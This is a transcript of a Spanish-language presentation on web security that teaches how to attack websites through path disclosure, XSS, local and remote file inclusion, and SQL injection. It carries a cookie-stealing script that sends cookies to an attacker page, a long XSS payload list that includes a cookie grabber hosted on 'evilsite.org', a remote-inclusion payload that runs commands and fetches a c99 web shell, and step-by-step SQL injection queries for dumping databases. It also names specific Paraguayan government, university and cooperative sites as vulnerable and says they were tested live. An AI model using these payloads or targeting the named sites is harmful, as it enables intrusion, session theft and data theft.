1 / 27

Seguridad Web

Seguridad Web. Errores comunes al desarrollar websites. ¿Aprenderemos a hackear sitios web?. Si, aprenderemos a hackear sitios web, no obstante.. Advertencia: Utilizaremos sitios webs “reales” para mostrar sus vulnerabilidades, sólo con fines educativos.

naasir
Download Presentation

Seguridad Web

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Seguridad Web Errores comunes al desarrollar websites

  2. ¿Aprenderemos a hackear sitios web? Si, aprenderemos a hackear sitios web, no obstante.. Advertencia: Utilizaremos sitios webs “reales” para mostrar sus vulnerabilidades, sólo con fines educativos. No se va a defacear ningún sitio durante esta charla, simplemente testearlos y ver sus agujeros de seguridad.

  3. Antes de empezar Requisitos Temática de la charla

  4. Pregunta ¿Ya han sido hackeados?

  5. Tipos de vulnerabilidades Full PathDisclosure - FPD Cross-site Scripting – XSS Local File Inclusion – LFI Remote File Inclusion – RFI SQL Injection - SQLi

  6. Full PathDisclosure - FPD • Vulnerabilidad que permite al “atacante” ver el path absoluta donde se encuentra el sitio web. Ejemplo: /home/usuario_victima/public_html/ • Peligrosidad baja, no obstante, combinado con otros tipos de vulnerabilidades como LFI o SQLi se vuelve interesante • ¿Cómo conseguirlo? • Manipulación de parámetros, ya sea $_GET, $_POST, Cookies • Investigando en buscadores como Google • ¿Qué podemos hacer con el path obtenido? • Podemos identificar el posible usuario FTP, para intentar conseguir ingresar por FTP con método de fuerza bruta. Aplicación de fuerza bruta: Bruter • Combinar con LFI o SQLi para lograr incluir efectivamente archivos o hacer dump de la base de datos

  7. Full PathDisclosure - FPD • ¿Cómo prevenirlo?Principalmente, deshabilitando que se muestren los errores php.ini: • display_errors= "off" httpd.conf/apache2.conf: • display_errorsoff php_flag Script PHP: • ini_set('display_errors', false); Además, controlando que estén seteadas las variables antes de utilizarlas, controlar que exista archivos antes de incluirlos, validación de variables. Con el primer paso ya basta, ya que no se mostrará nada, no obstante no está de más aplicar esto por recomendaciones de buena programación

  8. Ejemplo- FPD • Buscamos en Google warninginurl:gov.pyfiletype:php • En este caso buscamos warning en sitios del gobierno de paraguay, pero podemos utilizar otras variantes, como ser: Fatal error, Notice, undefined function, etc

  9. Cross-site Scripting – XSS • Vulnerabilidad que permite al “atacante” inyectar código que será interpretado en el cliente, como ser JavaScript, VBScript, HTML, CSS. • Podemos lograr: • Hacer phishing • Robo de cookies • Defacevia JS • ¿Cómo podemos evitarlo? • Controlando antes de mostrar algún dato dinámico, por ejemplo en PHP con el uso de la función htmlentities(), que remplaza los caracteres especiales por su equivalente de HTML

  10. Robo de cookies En el sitioatacado: • Publicar el siguientecódigo:<script> window.open("http://localhost/sitio2/cookie.php?cookies="+document.cookie); </script> En nuestro sitio: • Crear un archivo cookie.php en el cual: • Obtenemos la variable $_GET[‘cookies’] • La enviamos a nuestro e-mail • Escribimos en un archivo de texto • Insertamos en una base de datos • Mostramos un mensaje al usuarioparaconfundirlo, comoser: • “En este momento la página se encuentra en mantenimiento. Favor intentar en 10 minutos”

  11. Ejemplos de Xss <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\"> <META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\"> '">><marquee><h1>XSS</h1></marquee> '">><script>alert('XSS')</script> '>><marquee><h1>XSS</h1></marquee> "><script alert(String.fromCharCode(88,83,83))</script> <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe> <div style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCode(88,83,83));'))"> window.alert("Xyli !"); "/></a></><img src=1.gif onerror=alert(1)> [color=red' onmouseover="alert('xss')"]mouse over[/color] <body onLoad="alert('XSS');" <body onunload="javascript:alert('XSS');"> [url=javascript:alert('XSS');]click me[/url] <script language="JavaScript">alert('XSS')</script> <imgsrc="javascript:alert('XSS')"> '); alert('XSS <font style='color:expression(alert(document.cookie))'> <IMG DYNSRC=\"javascript:alert('XSS')\"> <IMG LOWSRC=\"javascript:alert('XSS')\"> </textarea><script>alert(/xss/)</script> </title><script>alert(/xss/)</script> <script src=http://yoursite.com/your_files.js></script> "><script>alert(0)</script> <IMG src=javascript:alert(String.fromCharCode(88,83,83))> <marquee><script>alert('XSS')</script></marquee> <style>@import'javascript:alert(\"XSS\")';</style> <img src=foo.png onerror=alert(/xssed/) /> <script>alert(String.fromCharCode(88,83,83))</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script>

  12. Local File Inclusion – LFI • Vulnerabilidad que permite al “atacante” mediante la manipulación de parámetros $_GET, $_POST incluir archivos ya existentes en el servidor, los cuales no son propios de la app. <?PHP include $_GET[‘pagina’]; // Se puedeaplicar LFI ?> • Podemos lograr: • Ver archivos del sistema, como /etc/passwd, /etc/group • Inclusión de archivos con código malicioso previamente insertado • Forzar archivos de la app, si posee un sistema de descarga con bug LFI • ¿Cómo podemos evitarlo? • Se lo puede evitar seleccionando qué archivos específicamente pueden ser mostrados, de tal manera que si el archivo solicitado no está en la lista, no se podrá acceder a él.

  13. SITIOS A TESTEAR LFI Mostrando archivos del sistema • Senado - SIL - Sistema de Información Legislativahttp://www.senado.gov.py/silpy/ • Indert - Instituto Nacional de Desarrollo Rural y de la Tierrahttp://www.indert.gov.py/ • CeConsult- Centro de Consultoreshttp://www.ceconsult.com.py/ • Cooperativa Coofy LTDAhttp://www.coofy.coop.py/ * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

  14. SITIOS A TESTEAR LFI Bajando archivos de la APP • Cooperativa San Cristobal:http://www.sancristobal.coop.py/ • CNCSP - Cámara Nacional de Comercio y Servicios de Paraguaywww.ccparaguay.com.py/ • TSJE – Tribunal Superior de Justicia Electoralhttp://www.tsje.gov.py/ * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

  15. Remote File Inclusion – RFI • Es una vulnerabilidad que sólo se da en PHP, consiste en la inclusión de archivos remotos (que se encuentran en otros servidores) mediante “include”. No se da en ASP. • Para que funcione debe estar habilitado url_allow_include • ¿Qué podemos lograr? • Inclusión de archivos remotos para ejecución de codigo malicioso • ¿Cómo lograrlo? http://[servidor_victima]/index.php?pagina=http://[servidor_atacante]/cmd.txt&&cmd=ls En el archivo cmd.txt tenemos el código <?phpexec($_GET[‘cmd’]);?> Se puede utiilizarexec(), shell_exec(), system(), passthru() Lo cual nos permitirá la ejecución de comandos, como por ejemplo descargar un phpshell <?phppassthru('wget http://localhost/sitio2/c99.txt -O shell.php');?>

  16. SQL Injection - SQLi • Vulnerabilidad en la cual el atacante inserta código SQL para obtención de datos de la DB • Ingresar al administrador: • Colocamos: • Usuario: ’ or 1 = 1 -- (siempre se cumplira) • Password: • Debería ingresar al administrador si posee SQLi ya que la condición insertada siempre se cumplirá y el resto está comentado • Select * from usuario where usuario = ‘’ or 1 = 1 – ‘and pass = ‘’

  17. SQL Injection - SQLi • Si el login no tiene vulnerabilidad SQLi tenemos otras opciones • Pasos: • Identificar agujero, http://localhost/sitio1/index.php?id=1 ejemplo ingresando: • 1 and 1 = 1 -- (true) ó 1‘ and 1 = 1 -- • 1 and 1 = 0 -- (false) ó 1‘ and 1 = 0 – • El comportamiento de la injecciónand 1 = 1--y and 1 = 0 -- debería mostrar un comportamiento distinto respecto a lo que se muestra en la página, ya que lo primero siempre se cumple, y lo segundo nunca se cumple. • Donde dice – se puede usar también #, es para comentar todo lo que pueda haber luego. Ejemplo: • Select id, titulo, contenido fromarticuloswhere id = 1 and estado = 1 • Select id, titulo, contenido fromarticuloswhere id = 1 and 1 = 1 – and estado = 1

  18. Pasos para obtener datos - sqli • Obtener la cantidad de columnas que afecta el query donde queremos injectar código SQL • Obtener tablas • Obtener columnas de tablas • Obtener datos deseados • Crear archivo con código malicioso para luego subir PHPShell (* Opcional )

  19. obtener cantidad de columnas- sqli • selectid, titulo, contenido fromarticuloswhere id =1 and estado = 1 • Insertamos SQL • selectid, titulo, contenido fromarticuloswhere id =1unionselect 1 --and estado = 1 • Vamos agregando datos al select hasta que deje de dar error, o no muestre en blanco, o hasta que muestre el contenido como si no hubiésemos hecho la inyección • select id, titulo, contenido fromarticuloswhere id =1unionselect1,2 -- and estado = 1 • select id, titulo, contenido fromarticuloswhere id =1unionselect1,2 -- and estado = 1 • select id, titulo, contenido fromarticuloswhere id =1unionselect1,2,3 -- and estado = 1 • En este último caso igualamos la cantidad de columnas, lo cual ya no debería darnos error SQL y deberíamos ver el contenido normal, entonces en este punto necesimamos que solo se muestre nuestro query y no lo primero, para esto debemos aplicar and 1 = 0 • select id, titulo, contenido fromarticuloswhere id =1 and 1 = 0 unionselect1,2,3 -- and estado = 1 • Veremos entonces en la página algunos de los datos 1, 2 o 3

  20. Obteniendo Información de la db • select user(),database(),version(),connection_id() • Ejemplo en la URL • http://sitio.com/index.php?id=id=-1unionselectconcat(user(), 0x3a, database(), 0x3a, version(), connection_id(), 0x3a),2,3,4--

  21. Obteniendo tablas • select table_namefrom information_schema.tables limit 10,1 • Remplazar el 10 por el offset deseado, debemos poner 1,1; luego 1,2; luego 1,3 hasta encontrar una tabla que nos interese, por ejemplo “usuarios” en 50,1 • Ejemplo en la URL • http://sitio.com/index.php?id=1 and 1= 0 unionselect table_name,2,3,4 from information_schema.tables limit 50,1-- • Otra opción. Agrupando las tablas. • select group_concat(table_name) from information_schema.tables • Esquema específico • select table_name from information_schema.tables where table_schema = ‘nombre_db‘ • Listar tablas exceptuando las de MySQL • SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

  22. Obteniendo columnas • select column_namefrom information_schema.columns where table_name = ‘usuarios’ and table_column like ‘A’ • Si se escapa la comilla ‘, la variante es pasar el string a ASCII: • select column_namefrom information_schema.columns where table_name=char(117,115,101,114,115) • Tambiénpodemosagregarfiltro de columna • select column_name from information_schema.columns where table_name = ‘usuarios’ and table_column like ‘A’ • Ejemplo en la URL • http://sitio.com/index.php?id=1 and 1= 0 unionselect column_name,2,3,4,5,6 from information_schema.columns where table_name=char(117,115,101,114,115)-- • Otra opción • select group_concat(table_name) from information_schema.tables

  23. SITIOS A TESTEAR SQL INJECTION OBTENIENDO USUARIO Y BASE DE DATOS DE LA APP– Envío por GET • ANR – Asociación Nacional Republicanahttp://www.anr.org.py/ • UNIDA - Universidad de la Integración de las Américashttp://www.unida.edu.py/ • Universidad Católica Nuestra Señora de la Asunción:http://www.uca.edu.py/ • Cooperativa COOMECIPARhttp://www.coomecipar.coop.py/ • SIF AMERICA S.A.http://www.sif.com.py/ * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

  24. SITIOS A TESTEAR SQL INJECTION OBTENIENDO USUARIO Y BASE DE DATOS DE LA APP – Envío por POST • SENADOhttp://www.senado.gov.py/ * Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

  25. ¿Preguntas?

  26. Conclusión • Sitios a los que encontramos agujeros de seguridad efectivamente: • Sitios del Gobiernos • www.senado.gov.py, www.indert.gov.py, www.tsje.gov.py • Universidades Privadas • www.uca.edu.py, www.unida.edu.py • Cooperativas • www.sancristibal.coop.py, www.coomecipar.coop.py • Otras instituciones • www.anr.gov.py. www.sif.com.py, www.ccparaguay.com.py

  27. Contacto • Fernando Goetz • Twitter • http://twitter.com/fernandogoetz • E-mail • fenandogoetz@gmail.com * Las consultas son bienvenidas.

More Related